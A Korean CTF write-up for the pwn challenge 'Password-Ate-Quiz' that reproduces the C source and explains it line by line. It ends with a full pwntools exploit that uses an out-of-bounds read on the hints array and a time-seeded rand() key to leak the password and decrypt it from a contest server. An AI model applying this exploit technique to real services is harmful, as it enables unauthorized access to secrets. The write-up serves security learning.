← 전체 Write-Up

Pwn / CTF

pw-ate-quiz

힌트 배열과 인증 로직의 데이터 흐름을 함수별로 정리한 바이너리 분석.

읽기 안내

원문 Notion 분류는 TSGCTF 2025입니다. 공식 공개 저장소에는 Password-Ate-Quiz가 TSG CTF 2024 문제로 등록되어 있어, 원문 분류와 외부 출처를 구분합니다. 문제 코드의 작성자는 @LLUUIIGGEE이며, 이 페이지는 MadEyE의 개인 분석 기록입니다. 코드·설명·실습 첨부는 원문대로 보존했습니다.


문제 파일

첨부 원본: chall.c

첨부 원본: chall.txt

첨부 원본: flag.txt

첨부 원본: password.txt

chall.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

void crypting(long long* secret, size_t len, long long key) {
	for (int i = 0; i < (len - 1) / 8 + 1; i++) {
		secret[i] = secret[i] ^ key;
	}
}

void output_flag() {
	char flag[100];
	FILE *fd = fopen("./flag.txt", "r");
	if (fd == NULL) {
		puts("Could not open \"flag.txt\"");
		exit(1);
	}
	fscanf(fd, "%99s", flag);
	printf("%s\n", flag);
}

int main() {
	setvbuf(stdout, NULL, _IONBF, 0);

	char hints[3][8] = {"Hint1:T", "Hint2:S", "Hint3:G"};
	char password[0x20];
	char input[0x20];
	

	srand(time(0));
	long long key = ((long long)rand() << 32) | rand();

	FILE *fd = fopen("password.txt", "r");
	if (fd == NULL) {
		puts("Could not open \"password.txt\"");
		exit(1);
	}

	fscanf(fd, "%31s", password);
	size_t length = strlen(password);
	crypting((long long*)password, 0x20, key);

	printf("Enter the password > ");
	scanf("%31s", input);

	crypting((long long*)input, 0x20, key);

	if (memcmp(password, input, length + 1) == 0) {
		puts("OK! Here's the flag!");
		output_flag();
		exit(0);
	}

	puts("Authentication failed.");
	puts("You can get some hints.");
	
	while (1) {
		int idx;
		printf("Enter a hint number (0~2) > ");
		if (scanf("%d", &idx) == 1 && idx >= 0) {
			for (int i = 0; i < 8; i++) {
				putchar(hints[idx][i]);
			}
			puts("");
		} else {
			break;
		}
	}

	while (getchar()!='\n');

	printf("Enter the password > ");
	scanf("%31s", input);

	crypting((long long*)input, 0x20, key);

	if (memcmp(password, input, length + 1) == 0) {
		puts("OK! Here's the flag!");
		output_flag();
	} else {
		puts("Authentication failed.");
	}

	return 0;
}

checksec

  • amd64-64-little
  • Full RELRO
  • Canary found
  • NX Enabled
  • PIE Enabled

코드 해석

1. void crypting()

void crypting(long long* secret, size_t len, long long key) {
		for (int i = 0; i < (len -1) / 8 + 1; i++) {
			secret[i] = secret[i] ^ key;
		}
}

이 함수의 목적은 XOR 연산(^)을 통해 데이터를 암호화한다.

  • long long* secret: 암호화 할 데이터의 시작 주소다.
  • size_t len: 데이터의 길이
  • long long key : XOR에 사용할 키 값

long long

long long은 64bit(8bytes) 정수다. 그래서 long long을 사용하면 CPU가 한 번에 64비트를 처리할 수 있으므로 효율적이다. 8바이트 단위로 데이터를 XOR 연산하기 위해 long long을 사용한 것 같다.

size_t

size_t는 unsigned(부호 없는) 정수형으로 0 이상의 값만 가질 수 있다. 메모리 크기나 배열의 길이 등을 표현할 때 사용된다.

  • 32비트 시스템: size_t는 4바이트 (0 ~ 4,294,967,295)
    64비트 시스템: size_t는 8바이트 (0 ~ 18,446,744,073,709,551,615)

(len - 1) / 8 + 1 의미

  • 데이터는 8바이트 단위로 XOR 연산된다.
  • (len - 1) / 8 + 1은 len 바이트의 데이터를 8바이트 단위로 나눈 후 올림한 값이다.
  • ex) len = 20: (20 - 1) / 8 + 1 = 19/8 + 1 = 2 + 1 = 3 3번 반복해야 20바이트 데이터를 모두 처리한다.

secret[i] = secret[i] ^ key

  • secret[i]: 데이터의 i번째 8바이트짜리 블록이다.
  • key: XOR 키
  • XOR 연산:
  • 같은 키로 XOR을 두 번 수행하면 원래값으로 돌아온다.

2. output_flag()

void output_flag() {
    char flag[100];
    FILE *fd = fopen("./flag.txt", "r");
    if (fd == NULL) {
        puts("Could not open \"flag.txt\"");
        exit(1);
    }
    fscanf(fd, "%99s", flag);
    printf("%s\n", flag);
}

flag.txt에서 플래그를 읽어 출력한다.

  • fopen()으로 flag.txt를 읽기모드로 연다.
  • 만약 파일이 없다면 에러 메세지를 출력하고 종료한다.
  • fscanf()로 파일 내용을 읽어 flag 배열에 저장한다.
  • 마지막으로 printf()로 읽은 값을 출력한다.

3. main()

setvbuf(stdout, NULL, _IONBF, 0);

출력버퍼를 비활성화하여 printf()의 출력물이 바로 나오게 한다.

출력버퍼랑 printf()랑 무슨 상관이 있길래 굳이 버퍼를 비활성화 하는 걸까?

C언어에서 출력 함수의 출력 동작은 버퍼링 메커니즘에 의해 영향을 받는다. 버퍼링이랑 데이터를 즉시 출력하지 않고, 일정량의 데이터가 모이면 출력하는 방식.

  1. 출력 버퍼링의 종류 C에서는 출력 버퍼링이 크게 세 가지로 나뉜다.
  2. Fully buffered(완전 버퍼링)
  3. Line Buffered(줄 단위 버퍼링)
  4. Unbuffered(버퍼링 없음)
  • Fully Buffered는 출력이 버퍼에 모두 채워진 후 출력된다. 일반적으로 파일 출력 시 사용된다.

  • Line Buffered는 개행 문자 \n이 출력되거나 버퍼가 가득 찰 때 출력됨. 표준 출력이 터미널에 연결된 경우 기본적으로 줄 단위 버퍼링이다.

  • UnBuffered는 출력이 버퍼를 거치지 않고 즉시 출력된다.

  • stdout: 표준 출력 스트림

  • NULL: 버퍼를 직접 설정하지 않겠다는 의미.

  • _IONBF: 버퍼링을 비활성화한다.(Unbuffered)

  • 0: 버퍼 크기. 버퍼를 사용하지 않으므로 0이다.

char hints[3][8] = {"Hint1:T", "Hint2:S", "Hint3:G"};
char password[0x20];    // 32바이트 길이
char input[0x20];       // 입력을 저장할 버퍼

힌트 배열과 사용자 입력 버퍼를 선언한다.

srand(time(0));
long long key = ((long long)rand() << 32) | rand();
  • srand(time(0)) : 현재 시간을 시드로 사용해 난수를 초기화 한다.
  • key : 64비트 난수를 생성한다. rand()로 두 개의 32비트 값을 조합해 64비트를 만든다.
  • rand() 함수는 32비트의 무작위 숫자를 만든다.

시드(seed)란?

난수 생성기에서 시드는 난수를 생성할 때 시작점이 되는 값이다. 같은 시드를 사용하면 항상 같은 난수가 생성된다.

현재 시간을 시드로 사용한다는 의미?

  • time(0) 함수는 현재 시간을 초 단위로 반환한다.
  • 이 반환 값을 시드 값으로 사용해 난수를 초기화하면 매번 다른 시드 값이 제공된다.

비밀번호 파일 읽기 및 암호화

FILE *fd = fopen("password.txt", "r");
if (fd == NULL) {
    puts("Could not open \"password.txt\"");
    exit(1);
}

fscanf(fd, "%31s", password);
size_t length = strlen(password);
crypting((long long*)password, 0x20, key);
  • password.txt에서 비밀번호를 읽어온다.
  • 비밀번호를 crypting() 함수를 사용하여 XOR연산으로 암호화한다.

사용자 입력 받기 및 검증

printf("Enter the password > ");
scanf("%31s", input);

crypting((long long*)input, 0x20, key);
  • 사용자 입력을 받아 동일한 키로 XOR 연산한다.
  • 결과적으로 암호화된 비밀번호와 비교한다.

비밀번호 비교

if (memcmp(password, input, length + 1) == 0) {
    puts("OK! Here's the flag!");
    output_flag();
    exit(0);
}

memcmp() 함수는 메모리의 값을 비교한다. 암호화된 비밀번호와 사용자 입력이 일치하면 플래그를 출력한다.

힌트 제공 루프

puts("Authentication failed.");
puts("You can get some hints.");

while (1) {
    int idx;
    printf("Enter a hint number (0~2) > ");
    if (scanf("%d", &idx) == 1 && idx >= 0) {
        for (int i = 0; i < 8; i++) {
            putchar(hints[idx][i]);
        }
        puts("");
    } else {
        break;
    }
}
  • 인증에 실패하면 사용자가 힌트를 얻을 수 있다.
  • hints 배열에서 사용자 입력에 따라 힌트를 출력한다.
  • 입력값이 범위를 벗어나거나 잘못된 경우 종료한다.
scanf(”%d”, &idx)
  • 사용자의 입력을 받아 정수형 변수 idx에 저장한다.
  • scanf 함수는 입력을 성공적으로 읽으면 읽은 항목의 갯수를 반환한다.
  • 입력이 정수라면 scanf는 1을 반환
  • 입력이 실패하면 0 또는 EOF를 반환한다.
if (scanf("%d", &idx) == 1 && idx >= 0)
  • 입력이 정수로 잘 들어와서 idx 변수에 저장되면 1을 반환한다.
  • 즉, 입력에 성공했는지 확인하는 코드
  • idx 값이 0 이상인지 확인한다.
  • 배열 인덱스를 위해 양수(또는 0)인지 검사하는 것.
for (int i = 0; i < 8; i++) {
	putchar(hints[idx][i]);
}
puts("");

hints[idx][i]

  • hints[idx]: idx번째 문자열
  • hints[idx][i]: idx번째 문자열에서 i번째 문자를 의미함.

반복문은 총 8번 반복하게 되는데, putchar로 hints[idx][i]를 한 글자씩 출력한다. 그리고 puts(””)로 문자열 출력 후 줄바꿈을 한다.

비밀번호 재 입력 및 최종 확인

while (getchar() != '\n');

printf("Enter the password > ");
scanf("%31s", input);

crypting((long long*)input, 0x20, key);

if (memcmp(password, input, length + 1) == 0) {
    puts("OK! Here's the flag!");
    output_flag();
} else {
    puts("Authentication failed.");
}
  • 힌트를 보고 다시 비밀번호를 입력할 기회가 주어진다.
  • 입력된 비밀번호를 XOR 연산 후 원본 비밀번호와 비교한다.
while (getchar() != '\n');

입력 버퍼에 남아 있는 개행 문자를 제거한다.

왜 제거해야 하나요?

  • 이전에 scanf를 사용해 입력을 받았을 때, Enter 키를 누르면 개행 문자(\n)가 입력 버퍼에 남는다.
  • 이후 scanf를 호출하면 버퍼에 남아있던 \n이 다음 입력으로 처리될 수 있으므로 이를 제거해준다.

즉, getchar()은 입력 스트림에서 한 문자를 읽는데, 이 문자가 개행 문자가 아닌 동안은 계속 읽어버린다. 그리고 결국 입력 버퍼를 비우게 된다.

if (memcmp(password, input, length + 1) == 0)

length + 1을 비교하는 이유 → 비밀번호 문자열의 NULL 문자까지 포함해 비교하기 위해서다.

Payload

# 64bit / Full RELFO / Canary / NX / PIE

from pwn import *
from ctypes import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']

HOST, PORT = '34.146.186.1 41778'.split(' ')
BINARY = './chall'
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')

def decrypt(data, length, key):
    result = b''
    for i in range((length - 1) // 8 + 1):
        result += p64(data[i] ^ key)
    
    return result

# if args.REMOTE:
p = remote(HOST, PORT)
# else:
    # p = process(BINARY)
    #gdb.attach(p)

libc.srand(libc.time(0))
key = libc.rand() << 32 | libc.rand()
p.sendlineafter(b'> ', 'AAAA')
sleep(0.5)
crypt_list = []
for i in range(4):
    sleep(0.5)
    p.sendlineafter(b'> ', str(i + 4).encode())
    crypt_pass = u64(p.recvline().strip())
    crypt_list.append(crypt_pass)
    print(hex(crypt_pass))

plain = decrypt(crypt_list, 0x20, key)
print(plain)

p.sendlineafter(b'> ', b'-1')
sleep(0.5)
p.sendlineafter('> ', plain)
p.interactive()

Payload 설명

from pwn import *
from ctypes import *
  • ctypes: C 표준 라이브러리 함수(libc)를 호출하기 위해 사용된다.
  • srand, rand, time 같은 함수는 libc.so.6에 정의된 함수다.
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']
  • context.log_level = ‘debug’ : 디버깅을 위해 출력 로그를 상세하게 보여준다.
  • context.terminal: gdb 디버깅을 위해 터미널 환경을 설정한다. tmux를 사용해 화면을 나눈다.
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
  • CDLL(): libc.so.6 라이브러리를 로드한다. 이를 통해 C 라이브러리 함수를 python에서 호출할 수 있다.

1. decrypt() 함수

def decrypt(data, length, key):
    result = b''
    for i in range((length - 1) // 8 + 1):
        result += p64(data[i] ^ key)
    return result
  • XOR 연산을 수행하여 암호화된 데이터를 복호화하는 함수
  • XOR 연산은 같은 키로 두번 연산하면 원래 값이 복구되는 특성이 있다.
  • p64
  • 64비트 값을 리틀 엔디안 형태로 바이트로 변환한다.
  • (length - 1) // 8 + 1
  • 데이터 길이를 8바이트 단위로 나누어 올림한 횟수만큼 루프를 실행

p64 vs u64

  • u64()는 바이트 데이터 → 정수
  • p64()는 정수 → 바이트 데이터
p = remote(HOST, PORT)
libc.srand(libc.time(0))
key = libc.rand() << 32 | libc.rand()
  • srand(time(0)): libc에서 현재 시간의 초 단위를 시드로 설정한다.
  • 키 생성: 두 개의 rand() 값(32비트)을 결합해 64비트 키를 만든다.
  • 첫 번째 rand()는 왼쪽으로 32비트 이동
  • 두 번째 rand()는 하위 32비트에 or 연산을 통해 위치
p.sendlineafter(b'> ', 'AAAA')
sleep(0.5)
crypt_list = []

for i in range(4):
    sleep(0.5)
    p.sendlineafter(b'> ', str(i + 4).encode())
    crypt_pass = u64(p.recvline().strip())
    crypt_list.append(crypt_pass)
    print(hex(crypt_pass))
  • p.sendlineafter(b’> ‘, ‘AAAA’)
  • 서버가 ‘> ‘ 프롬프트를 출력하면 AAAA를 전송
  • 입력 버퍼나 특정 초기 상태를 설정하는 용도

‘AAAA’ 를 보낸 이유는?

서버의 비밀번호 검증 단계를 거치고 힌트 제공 루프로 진입하기 위해서다. 이후 힌트 요청(4 ~ 7)을 통해 암호화된 비밀번호의 8바이트 블록을 받게 된다. 즉, AAAA는 단순 초기 입력 값으로, 비밀번호 검증에 일부러 실패하게 만들어 서버가 힌트를 제공하도록 유도하는 역할을 한다.

  • for i in range(4)
  • 서버에 힌트 번호 4,5,6,7을 요청한다.
  • 각 요청에 대해 서버가 암호화된 비밀번호 조각을 반환한다.

그렇다면 왜 하필 4번만 반복하는걸까?

암호화된 비밀번호는 64비트 4조각으로 구성된 32바이트다. crypting() 함수에서 XOR 연산을 수행할 때 8바이트 단위로 암호화된다. 따라서 32바이트를 8바이트씩 나누면 총 4개의 블록이 된다.

5번 이상 반복하게되면 잘못된 메모리 또는 쓰레기 값을 가져올 수 있다. 프로그램이 정의되지 않은 메모리 영역을 읽기 때문이다.

반대로 4번 미만으로 반복하게 되면 일부 블록만 수집하게 되므로 정확하게 복호화를 할 수가 없다. 비밀번호의 전체 구조를 알기 위해서는 모든 4개의 블록이 필요하다.

  • sleep(0.5)
  • 서버와의 통신 속도를 조절하고, 프로그램이 응답할 수 있도록 시간을 주는 역할
  1. 네트워크 지연
  2. 원격 서버와 통신할 때 네트워크 지연이 발생할 수 있다.
  3. sleep(0.5)를 넣어주면 프로그램이 다음 명령을 실행하기 전에 서버의 응답을 기다릴 시간을 확보할 수 있다.
  4. 서버 안정성
  5. 일부 서버는 너무 빠른 요청을 처리하지 못하고 끊길 수 있다.
  6. sleep(0.5)는 서버가 명령을 처리할 여유 시간을 주기 위해 사용된다.
  7. 데이터 수신 대기
  8. recvline()로 데이터를 받기 전에 서버에서 데이터가 올 때까지 기다리는 시간이 필요하다
  9. sleep(0.5) 없이 너무 빨리 명령을 보내면 데이터를 제대로 수신하지 못할 수 있다.
p.sendlineafter(b'> ', str(i + 4).encode())

서버에 보낼 데이터를 바이트 형태로 변환하기 위해 사용된다.

  1. sendline()은 바이트형태의 문자열만 전송할 수 있다.
  2. encode()의 역할은 str 타입을 bytes 타입으로 변환한다.
    crypt_pass = u64(p.recvline().strip())
    crypt_list.append(crypt_pass)
    print(hex(crypt_pass))
  • 서버에서 수신된 한 줄의 데이터를 가져온다. ← 이 데이터가 아마 8바이트 4블록의 암호화된 데이터일 것
  • strip()으로 공백이나 개행을 제거한다
  • crypt_list에 받아온 암호화된 4블록을 추가하고 16진수로 출력한다.

decrypt() 함수

plain = decrypt(crypt_list, 0x20, key)
print(plain)

crypt_list를 XOR 연산을 하여 복호화한다. 0x20은 비밀번호의 총 길이인 32바이트이다.

p.sendlineafter(b'> ', b'-1')
sleep(0.5)
p.sendlineafter('> ', plain)
p.interactive()
  • 힌트루프를 종료하기위해 -1을 입력한다
  • 복호화된 비밀번호를 서버에 전송한다.
  • 이 비밀번호는 암호화된 비밀번호를 XOR 연산을 하여 복호화한 결과다.

*첫번째 **sendlineafter*에서는 바이트 형태지만 두번째에선 왜 바이트 형태가 아닐까?

p.sendlineafter(b'> ', b'-1')

pwntools의 sendlineafter()는 바이트 문자열을 요구한다. 서버에서 받는 프롬프트(b’> ‘)도 바이트 형태이므로, 일관성을 유지하기 위해 입력도 바이트 형태여야 한다.

그럼 두번째에서도 당연히 바이트 형태여야 하지 않겠는가? 당연하다. 하지만 우리가 한가지 간과한 사실이 있다. 바로 plain은 위 코드의 decrypt() 함수에서 반환된 값이다.

result = b''
for i in range((length - 1) // 8 + 1):
    result += p64(data[i] ^ key)
return result

이 코드를 보면 result가 이미 바이트 형태인 것을 알 수 있다. plain도 리턴 값이 바이트형태인 것이다.

그래서 굳이 바이트 형태로 바꿔주지 않아도 됐던 것이다.

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.